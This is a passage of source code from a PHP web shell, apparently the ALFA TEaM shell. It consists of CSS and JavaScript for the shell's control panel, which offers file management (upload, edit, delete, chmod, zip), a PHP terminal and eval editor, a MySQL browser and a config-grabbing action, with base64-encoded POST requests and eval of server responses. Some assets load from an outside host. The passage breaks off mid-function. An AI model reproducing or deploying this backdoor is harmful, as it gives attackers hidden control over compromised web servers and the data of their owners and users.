30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php echo '
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{'.$csscode.'width:100px;height:100px;}
#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'
</style>';
echo "<script type='text/javascript'>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."';
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";";?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var 